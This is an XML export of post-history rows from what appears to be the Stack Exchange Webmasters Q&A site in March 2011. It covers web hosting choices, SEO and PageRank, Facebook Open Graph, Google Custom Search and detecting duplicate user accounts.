  <row Id="25482" PostHistoryTypeId="6" PostId="9584" RevisionGUID="52fe6c24-4784-452e-9dc9-294c538f48d5" CreationDate="2011-03-28T04:13:04.320" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;cms&gt;&lt;websites&gt;&lt;video&gt;&lt;looking-for-a-script&gt;" />
  <row Id="25483" PostHistoryTypeId="2" PostId="11278" RevisionGUID="87d36ed0-13aa-438e-9834-2bd6a4ee1d34" CreationDate="2011-03-28T04:40:20.617" UserId="5918" Text="Can anyone tell me if the banners created in OpenX ad managment tools could be used in multiple websites.&#xD;&#xA;&#xD;&#xA;Eg: I create a banner for a particular zone and website and get the invocation code.&#xD;&#xA;&#xD;&#xA;**Could this invocation code be used in multiple websites ?** We do manage a large number of websites. So it would be painful to generate invocation code for every website.&#xD;&#xA;&#xD;&#xA;I am just playing around with OpenX to see if its feasible. &#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Vishnu" />
  <row Id="25484" PostHistoryTypeId="1" PostId="11278" RevisionGUID="87d36ed0-13aa-438e-9834-2bd6a4ee1d34" CreationDate="2011-03-28T04:40:20.617" UserId="5918" Text="OpenX single banner in multiple websites" />
  <row Id="25485" PostHistoryTypeId="3" PostId="11278" RevisionGUID="87d36ed0-13aa-438e-9834-2bd6a4ee1d34" CreationDate="2011-03-28T04:40:20.617" UserId="5918" Text="&lt;ads&gt;&lt;banners&gt;&lt;openx&gt;" />
  <row Id="25486" PostHistoryTypeId="25" PostId="11278" RevisionGUID="5faaa105-df57-4cd3-b023-7f4fa9c936e5" CreationDate="2011-03-28T05:30:33.937" Comment="http://twitter.com/#!/StackWebmasters/status/52241143466950656" />
  <row Id="25491" PostHistoryTypeId="2" PostId="11280" RevisionGUID="16fccc23-85bf-42ee-9233-4d824d274fed" CreationDate="2011-03-28T08:16:13.707" UserId="1089" Text="The first thing I would say is that Google don't block sites because someone complains to them, there tends to be a pretty good reason.&#xD;&#xA;&#xD;&#xA;Regardless of why the site was &quot;blocked&quot; - hacked or penalised for underhand SEO tactics, I would expect it to be at domain level only. I wouldn't expect an entire server to be penalised." />
  <row Id="25492" PostHistoryTypeId="2" PostId="11281" RevisionGUID="a2f51ae0-a4cb-4d68-a7c0-771ef4739b9b" CreationDate="2011-03-28T08:21:03.453" UserId="6395" Text="Is there a way for Google's Custom Search engine to show it's results on a page on your website?&#xD;&#xA;&#xD;&#xA;On a custom page which you put on your server, so you can still display ads and links to pages in your site together with the search results?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="25493" PostHistoryTypeId="1" PostId="11281" RevisionGUID="a2f51ae0-a4cb-4d68-a7c0-771ef4739b9b" CreationDate="2011-03-28T08:21:03.453" UserId="6395" Text="Google Custom Search page" />
  <row Id="25494" PostHistoryTypeId="3" PostId="11281" RevisionGUID="a2f51ae0-a4cb-4d68-a7c0-771ef4739b9b" CreationDate="2011-03-28T08:21:03.453" UserId="6395" Text="&lt;google-search&gt;" />
  <row Id="25495" PostHistoryTypeId="2" PostId="11282" RevisionGUID="68d03caa-d655-4cc7-b22d-dc7847d6b6dd" CreationDate="2011-03-28T08:23:51.337" UserId="1643" Text="I'm afraid I can't give a complete answer, but there is a free option on Amazon EC2 - http://aws.amazon.com/free/ so long as storage and bandwidth remain low. It lasts for 12 months. To calculate prices if your site gets popular, have a look here: http://calculator.s3.amazonaws.com/calc5.html. Other VPS hosts have a fixed monthly price and then bandwidth etc. is in tiers, so you'd need to pick some scenarios for usage and then just compare the numbers. I couldn't tell you what &quot;regular traffic&quot; would be.&#xD;&#xA;&#xD;&#xA;As for VPS hosts, there are many out there. I use asmallorange.com because they do very small normal hosting at a very small price, but they also do small VPS hosting." />
  <row Id="25496" PostHistoryTypeId="2" PostId="11283" RevisionGUID="251a0939-e0d5-4882-9096-bdcdfbff6ca6" CreationDate="2011-03-28T08:26:28.373" UserId="1643" Text="With shared hosting many sites will share the same IP address, so it wouldn't make sense for Google to block by IP." />
  <row Id="25498" PostHistoryTypeId="2" PostId="11284" RevisionGUID="fbbb31ab-05c8-4a96-af3f-2b7b954ad5e2" CreationDate="2011-03-28T08:41:47.007" UserId="3697" Text="As MrG says, Google don't block sites unless there's a good reason - so it's important to understand the business of the client. If he is using nefarious tactics, that might have included unsolicited mail (spam). Spam servers are blacklisted by IP, so any future abuse could cause legitimate mail from your other customers to be blocked." />
  <row Id="25501" PostHistoryTypeId="5" PostId="11261" RevisionGUID="3830ce97-531f-43ef-9a78-91f3e50dd986" CreationDate="2011-03-28T09:21:10.567" UserId="1064" Comment="Removed referral tags" Text="[Linode](http://www.linode.com/) gives you full root access to your virtual server and allows you to upgrade the RAM, storage, and transfer as you need. It does require a bit of technical knowledge since it starts of as a fresh install of the operating system, thought they have a lot of recipes that will help you with the initial setup.&#xD;&#xA;&#xD;&#xA;For something that requires a bit less technical knowledge, I'd recommend [Dreamhost](http://www.dreamhost.com/). It has unlimited disk space and file transfer and also gives you shell access to work with git, svn, gzip, etc." />
  <row Id="25502" PostHistoryTypeId="6" PostId="9817" RevisionGUID="4069de2f-8e42-40c4-83c2-412cd472f73d" CreationDate="2011-03-28T09:24:32.027" UserId="4306" Comment="incorrectly tagged as SEM" Text="&lt;seo&gt;&lt;links&gt;" />
  <row Id="25503" PostHistoryTypeId="24" PostId="9817" RevisionGUID="4069de2f-8e42-40c4-83c2-412cd472f73d" CreationDate="2011-03-28T09:24:32.027" Comment="Proposed by 4306 approved by 1064 edit id of 82" />
  <row Id="25504" PostHistoryTypeId="2" PostId="11286" RevisionGUID="bb616a54-bb24-4141-bd3c-423733659eb9" CreationDate="2011-03-28T11:06:02.227" UserId="5169" Text="If you add Open Graph Protocol metadata to your website that is different for every URL (so the url in &#xD;&#xA;&#xD;&#xA;    &lt;meta property=&quot;og:url&quot; content=&quot;http://yourwebsite.com/somepage.html&quot;&gt;&#xD;&#xA;&#xD;&#xA;is the url of the page itself), you end up with an unmanageable number of &quot;virtual&quot; fan pages.  I don't see a way to post updates to (newsfeeds of ) the fans of those individual pages all at once... Do you know of any &quot;sitewide&quot; update possibility?&#xD;&#xA;&#xD;&#xA;The alternative is that you set the URL parameter in the og metadata to a constant url - either your homepage or a &quot;traditional&quot; Facebook Fan page.  This has the disadvantage however that if people like an individual posting on your site, in their newsfeed it shows up as a like of your homepage or Facebook fan page, and the link their friends see is their homepage or their individual fan page - a behaviour that seems illogical to most people and can be perceived as spammy.&#xD;&#xA;&#xD;&#xA;Anyone found a good solution for this conundrum?&#xD;&#xA;&#xD;&#xA;(BTW cross-posted this on Quora http://www.quora.com/Facebook-open-graph-protocol-how-can-I-reach-the-scattered-audience-of-people-who-liked-individual-pages-on-my-website )&#xD;&#xA;&#xD;&#xA;PS: I tried to add the tags facebook-pages open-graph-protocol to this question, but lack the required reputation of 300 - maybe someone else can?" />
  <row Id="25505" PostHistoryTypeId="1" PostId="11286" RevisionGUID="bb616a54-bb24-4141-bd3c-423733659eb9" CreationDate="2011-03-28T11:06:02.227" UserId="5169" Text="Facebook open graph protocol: how can I reach the scattered audience of people who liked individual pages on my website?" />
  <row Id="25506" PostHistoryTypeId="3" PostId="11286" RevisionGUID="bb616a54-bb24-4141-bd3c-423733659eb9" CreationDate="2011-03-28T11:06:02.227" UserId="5169" Text="&lt;facebook&gt;" />
  <row Id="25507" PostHistoryTypeId="25" PostId="11286" RevisionGUID="312bcb9e-d6e0-4231-865e-ff8377268ba0" CreationDate="2011-03-28T11:30:33.720" Comment="http://twitter.com/#!/StackWebmasters/status/52331739586101249" />
  <row Id="25512" PostHistoryTypeId="2" PostId="11287" RevisionGUID="df5aff86-57ae-4210-bd79-9ff0ed73b3a9" CreationDate="2011-03-28T12:12:20.790" UserId="4306" Text="You can host the results from a CSE as an iframe on your site:&#xD;&#xA;&#xD;&#xA;* http://www.google.com/support/customsearch/bin/answer.py?hl=en&amp;answer=70330" />
  <row Id="25513" PostHistoryTypeId="2" PostId="11288" RevisionGUID="433b3f66-7133-4c28-948c-afe8ef1448c1" CreationDate="2011-03-28T12:45:17.650" UserId="233" Text="Did you actually check the links in question? I have seen reports of spammers pinging loads of sites with the referer header set to their page, but the 'referred' page doesn't actually contain a link.&#xD;&#xA;&#xD;&#xA;The purpose of this as far as I gathered, is to try and get links from any sites that publish site data straight from their logs, or even just to get webmasters to check out the links themselves. In the same way that sending millions of spam emails a day might get them an order or two, getting their link into millions of server logs could end up getting orders from a webmaster checking out their incoming links.&#xD;&#xA;&#xD;&#xA;Otherwise, what John said is correct: any incoming links from bad sites may simply not be counted, but they won't harm your site." />
  <row Id="25514" PostHistoryTypeId="2" PostId="11289" RevisionGUID="3053bc1b-994d-4179-bb33-e9eba719f2ba" CreationDate="2011-03-28T12:49:40.630" UserId="233" Text="Linking from many pages on one site to another isn't considered spam - plenty of sites have affiliations with other sites (case in point: the Stack Exchange network links at the bottom of this page). Furthermore, a link from one site to another can only increase PageRank, not decrease it.&#xD;&#xA;&#xD;&#xA;Linking from thousands of pages is likely to decrease the *value* of each link, however, I'm sure 48,000 low-value links is as good or better than one link from the home page. It's pretty difficult to know exactly how Google treats these sorts of links." />
  <row Id="25515" PostHistoryTypeId="2" PostId="11290" RevisionGUID="c9f59154-b60d-4799-a864-3419eb849205" CreationDate="2011-03-28T13:06:16.160" UserId="2379" Text="Or you can use Bing, which has an XML api and doesn't charge for an unbranded search as google does.  " />
  <row Id="25516" PostHistoryTypeId="2" PostId="11291" RevisionGUID="79e39d7f-2c3e-448c-8977-414c9fb84098" CreationDate="2011-03-28T13:09:42.480" UserId="1429" Text="&gt; if you’d like to **build the equity of&#xD;&#xA;&gt; one web site, I suggest&#xD;&#xA;&gt; using a subfolder**.&#xD;&#xA;&#xD;&#xA;&gt; If you’d like to&#xD;&#xA;&gt; build an entire **new entity with its&#xD;&#xA;&gt; own equity, launch a subdomain**&#xD;&#xA;&#xD;&#xA;Read more: http://www.searchenginejournal.com/subdomains-or-subfolders-which-are-better-for-seo/6849/" />
  <row Id="25517" PostHistoryTypeId="2" PostId="11292" RevisionGUID="87a8f99d-8072-4e73-a698-3919a19f75d3" CreationDate="2011-03-28T13:14:56.080" UserId="1429" Text="No it won't affect traffic in a negative way on your main domain, but [according to this question][1] the vice versa (I mean having your blog in a subdirectory) might greatly affect your traffic on the main website in a positive way.&#xD;&#xA;&#xD;&#xA;This topic was dicussed also [here][2] and they come to this conclusion:&#xD;&#xA;&#xD;&#xA;&gt; if you’d like to **build the equity of&#xD;&#xA;&gt; one web site, I suggest&#xD;&#xA;&gt; using a subfolder**.&#xD;&#xA;&#xD;&#xA;&gt; If you’d like to&#xD;&#xA;&gt; build an entire **new entity with its&#xD;&#xA;&gt; own equity, launch a subdomain**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1198/subdomain-versus-subdirectory&#xD;&#xA;  [2]: http://www.searchenginejournal.com/subdomains-or-subfolders-which-are-better-for-seo/6849/" />
  <row Id="25518" PostHistoryTypeId="5" PostId="2368" RevisionGUID="7ea28552-0756-4785-880b-99e78efe9f61" CreationDate="2011-03-28T13:26:07.020" UserId="1429" Comment="deleted 3 characters in body; added 186 characters in body" Text="It's very difficult to find a good web hosting **service**.&#xD;&#xA;And, trust me, it's a huge pain in the neck using a useless Hosting Service with poor technical assistance service.&#xD;&#xA;Especially when you write your own applications to be run on the server.&#xD;&#xA;&#xD;&#xA;As said by John Conde, it's true that most Web Hosters are simply reselling the same type of machines (same systems/servers, with the same OS and the same control panel), most are even resellers of resellers of resellers...&#xD;&#xA;For this exact reason, the real difference in now days is not made so much by the machines (unless they are overloaded obviously).&#xD;&#xA;&#xD;&#xA;**The real difference is made by the SERVICE**: how good the Hoster's tech departments are in **managing those servers**, how **fast are in fixing** issues, how nice and **proactive** they try to be when you tell them something does not work.&#xD;&#xA;&#xD;&#xA;An example for all: you might have a PHP script that makes the server show a 501 Internal Server Error. You are a good coder and you find out on your own what's the exact line of code in that script that makes the server show a 501.&#xD;&#xA;You then copy that single line in another script to do some test on the same server and you eventually see that this new script is still making server show 501, so it's definitely that line of code.&#xD;&#xA;&#xD;&#xA;At this point what do you do? You start changing your app, but that's not a good idea cause it might take you a lot of time to workaround such an issue and what happens if your workaround makes your app work on that server, but not on the server of another hoster?&#xD;&#xA;Do you make a different patch for any type of hoster???&#xD;&#xA;&#xD;&#xA;No, you pay for the hosting **service**, you pay for technical assistance, therefor you open a ticket on your hoster an you tell them: &quot;I have prepared a PHP script made of **just one single line of code (or just really few lines, to show the issue)** that shows the server go 501 Internal Server Error, could you plz help me?&quot;&#xD;&#xA;&#xD;&#xA;Many web hosters (like these: [www.inmotionhosting.com][1]) will simply reply you: &quot;Sorry, but we don't look into code&quot; (even if it's just one line of code), those are the types of web hosters to absolutely avoid.&#xD;&#xA;Some other hosters like these ([www.qualityhostonline.com][2]) will kindly reply you: &quot;We look into it&quot;, and later they discover it's a too strict rule on their Apache mod_security that makes the server run a 501 Internal Server Error. They fix it and you solved all your problems.&#xD;&#xA;&#xD;&#xA;The examples provided above (both coming from my personal experience) might help you also in seeing how difficult it is to discriminate among hosters without being deceived by their marketing stuff. They both have nice webistes, full of awards and all those &quot;What they say about us...&quot;.&#xD;&#xA;&#xD;&#xA;Unfortunately you can discover this only by experience using their services or by following peoples suggestions who have used those hosting service before.&#xD;&#xA;&#xD;&#xA;Anyway some way to try a web haoster are:&#xD;&#xA;&#xD;&#xA;1. **send them pre-sales question that should be ALSO TECHNICAL**, maybe also about things that you don't need, but just to see if the guy knows what you are talking about.&#xD;&#xA;You could ask for instance: &quot;Can I make .htm file on you server to be processed by the PHP processors&quot;. If they reply you something like: &quot;No, you can't serve HTML files with PHP processor&quot;, or even worst they find a ridiculous excuse saying that the server would get overloaded, It definitely means they are useless tech guys, this is the typical hoster that at the 1st problem it happens you will understand what a big mistake you did in buying their service.&#xD;&#xA;&#xD;&#xA;2. By doing (1) you also **test how fast they reply** (and if they reply, some do not reply at all even on a pre-sales question, I don't think I need to tell you that these hosters must be avoided completely).&#xD;&#xA;&#xD;&#xA;3. **ping their main website**, many turn down ping on server because they say it might create a security holes. Avoid these hosters, either they want to mask you where their server is located, or even worst they really think ping cause security holes. In nowadays ping can cause secuirty holes to servers managed by useless tech guys who do not know how to prevent those types of attack (generally NOT expert people), do you want those NOT expert people to manage your server?&#xD;&#xA;&#xD;&#xA;4. By doing (3) you can also **see where their servers are**, if the ping takes too long compared to other local websites, it means their server is somewhere on the moon not in US. (I know they could use different servers, one for their website in US and one in India for your website, but they will have different ping times and you can definitely complain about this when your website is up. They will have then to give you a good explanation or totally refund you).&#xD;&#xA;&#xD;&#xA;5. **Don't trust who is selling Unlimited** of Whatever. A basic Physics law says: &quot;Nothing can be created or destroyed, everything can be simply changed&quot;. Now selling Unlimited means creating something from the vacuum that is not possible in Physics. So they are already cheating on you even before saying &quot;Hello&quot; to you. True that if they give you 25 GB of space for your average size website, you will feel it's unlimited space, but then why don't they just write down that they give you 25GB and not unlimited instead of cheating on you?! It's a way of thinking, morover it's highly probable that they rae simply overselling the space they have. And if their managers/marketers who created their website think in this way, it surely means it's a company driven by marketing guys, the typical guy that does not know anything about tech, but he thinks that is all pretty simple stuff, that it's not a problem. Which is also true from their point of view, because if their server goes down they won't have big problems in loosing you as a tiny customer, you provided them what, 25 bucks per year?! But you won't feel the same when your customers will scream calling you on your mobile-phone and shout at you seeing their websites (or even wosrst their emails) being down!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.inmotionhosting.com&#xD;&#xA;  [2]: http://www.qualityhostonline.com" />
  <row Id="25520" PostHistoryTypeId="25" PostId="11281" RevisionGUID="280a6290-adc2-4dd8-9a3e-4cca5f975b2c" CreationDate="2011-03-28T14:30:34.267" Comment="http://twitter.com/#!/StackWebmasters/status/52377040392949760" />
  <row Id="25521" PostHistoryTypeId="17" PostId="11294" RevisionGUID="758320ea-48da-4ad2-af89-0cc34335b7ce" CreationDate="2011-03-28T14:56:36.830" UserId="-1" Comment="from http://stackoverflow.com/questions/5459997/how-to-check-if-person-doesnt-have-multiple-account/5460100#5460100" Text="" />
  <row Id="25522" PostHistoryTypeId="17" PostId="11295" RevisionGUID="fa226dbe-8c6a-4513-b9b1-60d1550e3da0" CreationDate="2011-03-28T14:56:36.830" UserId="-1" Comment="from http://stackoverflow.com/questions/5459997/how-to-check-if-person-doesnt-have-multiple-account/5460125#5460125" Text="" />
  <row Id="25523" PostHistoryTypeId="17" PostId="11296" RevisionGUID="e7c0a67d-b56f-4c4c-9713-8a2296f538e3" CreationDate="2011-03-28T14:56:36.830" UserId="-1" Comment="from http://stackoverflow.com/questions/5459997/how-to-check-if-person-doesnt-have-multiple-account/5460212#5460212" Text="" />
  <row Id="25524" PostHistoryTypeId="17" PostId="11297" RevisionGUID="0e9d98be-9860-47f2-a07c-5ecb9a5d19cd" CreationDate="2011-03-28T14:56:36.830" UserId="-1" Comment="from http://stackoverflow.com/questions/5459997/how-to-check-if-person-doesnt-have-multiple-account/5460264#5460264" Text="" />
  <row Id="25525" PostHistoryTypeId="2" PostId="11294" RevisionGUID="268a9f7a-7727-45b6-b389-5aee36d0ad63" CreationDate="2011-03-28T14:01:30.710" UserDisplayName="FractalizeR" Text="Use http://samy.pl/evercookie/" />
  <row Id="25526" PostHistoryTypeId="2" PostId="11295" RevisionGUID="803904c6-7089-407a-af5c-16052c3b949d" CreationDate="2011-03-28T14:03:03.677" UserId="6217" Text="Testing the User-Agent string will do you no good. Likewise client-side storage or cookie solutions are not an option if the same user utilizes different browsers. The only option to discern different clients in the local network would be a Java Applet which reads out the network-local address.&#xD;&#xA;E.g. http://www.rgagnon.com/javadetails/java-0095.html But that's quite an overkill solution, and can fail due to security restrictions, or if none of the two browsers (or users) has Java enabled." />
  <row Id="25527" PostHistoryTypeId="2" PostId="11296" RevisionGUID="7e529cd2-30b7-4d91-8eec-4b3cecdd7ae3" CreationDate="2011-03-28T14:10:11.670" UserId="4956" Text="you could use a flashapp to take a picture of the user via webcam while login, and compare them... but the user have to agree with this and can wear a mask or something... (im afraid what [Face/Off][1]-like-ideas @Quassnoi will get)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Face/Off" />
  <row Id="25528" PostHistoryTypeId="2" PostId="11297" RevisionGUID="fd882272-5d7a-4c57-a0e9-d121ea03de6c" CreationDate="2011-03-28T14:14:06.867" UserDisplayName="vbence" Text="You just have to live with this. Design your site so it would no matter. In SO if someone uses more than one account it just divides the reputation betwen them, so no incentive to do so.&#xD;&#xA;&#xD;&#xA;Design your interaction in a way that gives no incentive for multiple accounts." />
  <row Id="25529" PostHistoryTypeId="2" PostId="11293" RevisionGUID="22870608-ee96-478b-84e3-d7d82170c546" CreationDate="2011-03-28T13:54:06.380" UserId="890" Text="I have two users in my website with the same IP. I asked them or him, idk, why does he have 2 accounts. He said that other account is owned by his roommate. His roommate uses other computer in my website.&#xD;&#xA;&#xD;&#xA;So, my question. How can I detect whether he lies or tells truth? I can check if both browsers the same or not. What else?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="25530" PostHistoryTypeId="1" PostId="11293" RevisionGUID="22870608-ee96-478b-84e3-d7d82170c546" CreationDate="2011-03-28T13:54:06.380" UserId="890" Text="How to check if person doesn't have multiple account?" />
  <row Id="25531" PostHistoryTypeId="3" PostId="11293" RevisionGUID="22870608-ee96-478b-84e3-d7d82170c546" CreationDate="2011-03-28T13:54:06.380" UserId="890" Text="&lt;php&gt;&lt;mysql&gt;" />
  <row Id="25532" PostHistoryTypeId="17" PostId="11293" RevisionGUID="6090acda-0951-4f33-b857-f4970233d5d6" CreationDate="2011-03-28T14:56:36.830" UserId="-1" Comment="from http://stackoverflow.com/questions/5459997/how-to-check-if-person-doesnt-have-multiple-account" Text="" />
  <row Id="25533" PostHistoryTypeId="2" PostId="11298" RevisionGUID="7f7554d1-bd81-4150-8a45-80dd97b7a008" CreationDate="2011-03-28T14:59:14.920" UserId="4770" Text="Couldn't you just have a div underneath your content div and just put the `&lt;img&gt;` tag in there?" />
  <row Id="25534" PostHistoryTypeId="2" PostId="11299" RevisionGUID="bae931e9-f50c-42b3-90f2-82fd5d02d68a" CreationDate="2011-03-28T15:12:49.893" UserId="4142" Text="I think the least kludgy solution would involve nesting two divs, and applying the border and a padding to the outer div.&#xD;&#xA;&#xD;&#xA;You may have to get creative with the application of the background, especially if it's anything more complicated than a tiling image, but it would avoid adding non-semantic tables to your markup. You should never use tables for layout." />
  <row Id="25535" PostHistoryTypeId="2" PostId="11300" RevisionGUID="84132797-88ec-4fb1-bcfc-9895b2e6b30c" CreationDate="2011-03-28T15:19:24.840" UserId="4311" Text="The network that the user is on might set the `X-Forwarded-For` http request header, which would allow you to log the private original IP address as well as the public IP address from which the request comes. You could then see if there are two different private IP addresses. But it won't work if they're just behind a NAT router, as that won't set `X-Forwarded-For`." />
  <row Id="25536" PostHistoryTypeId="2" PostId="11301" RevisionGUID="1689fa8b-1ad4-4cd7-b822-2d2b6b368132" CreationDate="2011-03-28T15:21:12.997" UserId="4311" Text="Or require all of your users to link their accounts to a Facebook account. Since Facebook's terms of service prohibit multiple accounts, you can then push enforcement of the policy off to Facebook, who probably have more resources than you do." />
  <row Id="25537" PostHistoryTypeId="6" PostId="7149" RevisionGUID="1fc2697c-158f-4754-8cd5-60f378ae5882" CreationDate="2011-03-28T15:41:33.980" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;web-applications&gt;&lt;looking-for-a-script&gt;" />
  <row Id="25538" PostHistoryTypeId="2" PostId="11302" RevisionGUID="b89b59eb-64f7-42ae-a787-adc67afe0f21" CreationDate="2011-03-28T16:08:57.730" UserId="72" Text="I am guessing that in your case having multiple account could be used to gain unfair benefit, otherwise it would be good that you clarify your situation.&#xD;&#xA;&#xD;&#xA;The approach that you should take in that case is to detect suspicious pattern between the account rather than try to detect if it's the same personn. Depending on what your website is about, the pattern can change a lot. Stack Overflow does this to prevent gaming the system." />
  <row Id="25539" PostHistoryTypeId="2" PostId="11303" RevisionGUID="59ea2f32-9790-46e9-bbec-012c440d8b96" CreationDate="2011-03-28T16:19:16.190" UserId="6401" Text="By &quot;royalty-free&quot; do you mean &quot;no cost at all&quot; or do you mean &quot;buy once, re-use often&quot;? Royalty-free doesn't necessarily mean that you don't have to pay for it. It just means that you don't have to pay *every time you use it*. If you are looking for free (no cost) templates, I'll second www.freecsstemplates.org. It's good, but templates don't usually include source files, so it might be hard to modify templates.&#xD;&#xA;&#xD;&#xA;If you want free (buy once, re-use often) templates, I'd recommend templatemonster.com or templatesbox.com. Those sites offer subscriptions so you can download and use as many templates as you want. Also, I'd look at [themeforest.com][3]. They have low-cost templates (typically $25-$50 USD) that you can use on multiple sites.&#xD;&#xA;&#xD;&#xA;  [3]: http://www.themeforest.com" />
  <row Id="25540" PostHistoryTypeId="2" PostId="11304" RevisionGUID="95253a25-3eff-427c-85c9-3dee8d73b3a1" CreationDate="2011-03-28T16:27:39.400" UserId="6401" Text="Any question that asks &quot;What is the best approach to...&quot; depends on the technical skills of the user. Is the artist technically saavy? In other words, could the artist log in to a site, upload files through web interface (or use ftp) and manage or edit the files? If so, then I would recommended WordPress as a platform. I've used it on many personal and client sites. Go to wordpress.com for the hosted version, or download a self-hosted version from wordpress.org. There are some great themes (both paid and free) for the platform. Specifically, check out a theme called &quot;PhotoPress&quot;. It's great for photography or art sites.&#xD;&#xA;&#xD;&#xA;If the artist can't (or doesn't want to) manage their own CMS, look at carbonmade.com for portfolio. I've heard good things about from the art community and it has a lot options so that the sites don't look &quot;template-y&quot;." />
  <row Id="25542" PostHistoryTypeId="2" PostId="11305" RevisionGUID="1d46643c-d57f-4036-aea5-d3a63d9fdd21" CreationDate="2011-03-28T17:18:43.887" UserId="4306" Text=" 1. Do you have a list of all of your pages that have been liked? Maybe stored in your db?&#xD;&#xA;&#xD;&#xA; 2. If not, can you export it from facebook.com/insights &gt; your site ?&#xD;&#xA;&#xD;&#xA; 3. Take the list of URLs, then loop through, sending a message to the Likers of each page using the sample code found here (watch out for duplicates):&lt;br/&gt;&#xD;&#xA;https://developers.facebook.com/docs/opengraph/#publishing" />
  <row Id="25543" PostHistoryTypeId="25" PostId="11293" RevisionGUID="d68a9795-0fad-4dbf-bca9-9a3c04af87f6" CreationDate="2011-03-28T17:30:34.877" Comment="http://twitter.com/#!/StackWebmasters/status/52422341568892929" />
  <row Id="25544" PostHistoryTypeId="2" PostId="11306" RevisionGUID="53687d5d-1eca-4a77-ad04-bec3d982a7c2" CreationDate="2011-03-28T18:48:13.250" UserId="1429" Text="have a look at these two pages:&#xD;&#xA;&#xD;&#xA;1) http://it-it.facebook.com/jeanchristophe.cataliotti (**PageRank 2** from Google toolbar)&#xD;&#xA;&#xD;&#xA;Amazingly it has got NO links to it: http://siteexplorer.search.yahoo.com/search?p=it-it.facebook.com/jeanchristophe.cataliotti&amp;fr=sfp&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2) http://www.facebook.com/group.php?gid=18463182878&amp;v=wall&amp;viewas=0 (**PageRank 1** from Google toolbar)&#xD;&#xA;&#xD;&#xA;Still amazingly it has got NO links to it: http://siteexplorer.search.yahoo.com/search?p=www.facebook.com/group.php?gid=18463182878&amp;v=wall&amp;viewas=0&amp;fr=sfp&#xD;&#xA;&#xD;&#xA;**How do you explain this?**&#xD;&#xA;&#xD;&#xA;Hoping for an explanation that goes beyond just saying that the PR in Goole toolbar it's not updated, because it can not be the reason for this!&#xD;&#xA;" />
  <row Id="25545" PostHistoryTypeId="1" PostId="11306" RevisionGUID="53687d5d-1eca-4a77-ad04-bec3d982a7c2" CreationDate="2011-03-28T18:48:13.250" UserId="1429" Text="Facebook pages get PageRank with absolute no links to them?!" />
  <row Id="25546" PostHistoryTypeId="3" PostId="11306" RevisionGUID="53687d5d-1eca-4a77-ad04-bec3d982a7c2" CreationDate="2011-03-28T18:48:13.250" UserId="1429" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;links&gt;&lt;facebook&gt;&lt;backlinks&gt;" />
  <row Id="25547" PostHistoryTypeId="2" PostId="11307" RevisionGUID="421763af-3ba1-4eff-9691-20e44c54fb54" CreationDate="2011-03-28T18:53:47.707" UserId="1253" Text="1) SiteExplorer is not Google so it can't tell you what links Google knows about. Google can, and often times does, know about more web pages and thus more links then Yahoo or any other search engine does.&#xD;&#xA;&#xD;&#xA;2) Google's toolbar was known to guess at PR in the past and I have yet to hear of that not being true any longer. So it may be just a guess.&#xD;&#xA;&#xD;&#xA;3) Internal links count to wards PR. Unless those pages are orphans, and they're almost certainly not, they're getting PR from other Facebook pages." />
  <row Id="25548" PostHistoryTypeId="2" PostId="11308" RevisionGUID="02dfbcfe-2218-4548-9577-82aa1063f461" CreationDate="2011-03-28T19:30:51.060" UserId="5858" Text="For a target keyword made of two words the Local monthly searches shows:&#xD;&#xA;&#xD;&#xA;- Broad: 300,000  searches&#xD;&#xA;- Phrase: 250,000  searches&#xD;&#xA;&#xD;&#xA;Competition is nil.&#xD;&#xA;&#xD;&#xA;Does it mean that -- this many people search for this keyword term in a month?" />
  <row Id="25549" PostHistoryTypeId="1" PostId="11308" RevisionGUID="02dfbcfe-2218-4548-9577-82aa1063f461" CreationDate="2011-03-28T19:30:51.060" UserId="5858" Text="Local monthly searches in Google keyword tool" />
  <row Id="25550" PostHistoryTypeId="3" PostId="11308" RevisionGUID="02dfbcfe-2218-4548-9577-82aa1063f461" CreationDate="2011-03-28T19:30:51.060" UserId="5858" Text="&lt;google&gt;&lt;google-search&gt;" />
  <row Id="25551" PostHistoryTypeId="2" PostId="11309" RevisionGUID="df3ff13b-c3ec-45d2-89a4-d179973f9daf" CreationDate="2011-03-28T19:56:38.877" UserId="6234" Text="I'm using magento 1.5 and prefer to install modules from Magento Connect. Any suggestions? Thanks in advance." />
  <row Id="25552" PostHistoryTypeId="1" PostId="11309" RevisionGUID="df3ff13b-c3ec-45d2-89a4-d179973f9daf" CreationDate="2011-03-28T19:56:38.877" UserId="6234" Text="What's the best magento plugin to add support for affiliates?" />
  <row Id="25553" PostHistoryTypeId="3" PostId="11309" RevisionGUID="df3ff13b-c3ec-45d2-89a4-d179973f9daf" CreationDate="2011-03-28T19:56:38.877" UserId="6234" Text="&lt;magento&gt;&lt;affiliate&gt;" />
  <row Id="25558" PostHistoryTypeId="25" PostId="11306" RevisionGUID="c70dedff-e16b-474e-b2a4-824929a69089" CreationDate="2011-03-28T21:00:02.013" Comment="http://twitter.com/#!/StackWebmasters/status/52475051827671040" />
  <row Id="25564" PostHistoryTypeId="2" PostId="11312" RevisionGUID="30f1f185-ab0c-45b9-9d80-1aa46073054b" CreationDate="2011-03-28T23:04:44.123" UserId="6408" Text="Could anyone tell me if this is the correct format for a back link?&#xD;&#xA;&#xD;&#xA;(a) &lt;a href=&quot;http://www.dfwservicecompany.com&quot; rel=&quot;nofollow&quot;&gt;ELECTRICIAN FORT WORTH TEXAS&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;(b) WWW.DFWSERVICECOMPANY.COM&#xD;&#xA;&#xD;&#xA;Local Dallas Electrician seeking assistance with web site.&#xD;&#xA;" />
